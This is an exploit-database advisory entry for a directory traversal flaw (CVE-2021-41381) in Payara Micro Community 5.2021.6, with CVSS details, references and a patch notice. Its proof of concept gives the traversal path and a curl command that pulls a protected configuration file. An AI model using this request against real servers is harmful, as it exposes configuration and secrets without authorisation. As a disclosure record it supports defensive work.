Payara Micro Community 5.2021.6 - Directory Traversal

vendor:

Payara Micro Community

by:

Yasser Khan (N3T_hunt3r)

7,5

CVSS

HIGH

Directory Traversal

CWE

Product Name: Payara Micro Community

Affected Version From: Payara Micro Community 5.2021.6

Affected Version To: Payara Micro Community 5.2021.6

Patch Exists: YES

Related CWE: CVE-2021-41381

CPE: a:payara:payara_micro_community:5.2021.6

Metasploit: N/A

Other Scripts: N/A

Tags: cve,cve2021,payara,lfi,packetstorm

CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Nuclei References: https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt, https://nvd.nist.gov/vuln/detail/CVE-2021-41381, https://www.payara.fish, http://packetstormsecurity.com/files/164365/Payara-Micro-Community-5.2021.6-Directory-Traversal.html

Nuclei Metadata: {'max-request': 1, 'vendor': 'payara', 'product': 'micro_community'}

Platforms Tested: Linux/Windows OS

2021

Payara Micro Community 5.2021.6 – Directory Traversal

Payara Micro Community 5.2021.6 and below contains a directory traversal vulnerability.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to update their software to the latest version.

Source

Exploit-DB raw data:

# Exploit Title: Payara Micro Community 5.2021.6 - Directory Traversal
# Date: 01/10/2021
# Exploit Author: Yasser Khan (N3T_hunt3r)
# Vendor Homepage: https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
# Software Link: https://www.payara.fish/downloads/payara-platform-community-edition/#x
# Version: Payara Micro Community 5.2021.6
# Tested on: Linux/Windows OS
# CVE : CVE-2021-41381

https://nvd.nist.gov/vuln/detail/CVE-2021-41381

Proof of Concept:

Step1: Open the browser check the version of the payara software

Step2: Add this Path at end of the URL
/.//WEB-INF/classes/META-INF/microprofile-config.properties

Step3: Check the response with match containing
"payara.security.openid.default.providerURI="

"payara.security.openid.sessionScopedConfiguration=true"

Step4 : If any of these contents in the response then the application is vulnerable to Directory Traversal Vulnerability.

Step5: Alternatively we can use CURL by using this command:

Request:
curl --path-as-is http://localhost:8080/.//WEB-INF/classes/META-INF/microprofile-config.properties

Reference:

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt
https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
https://nvd.nist.gov/vuln/detail/CVE-2021-41381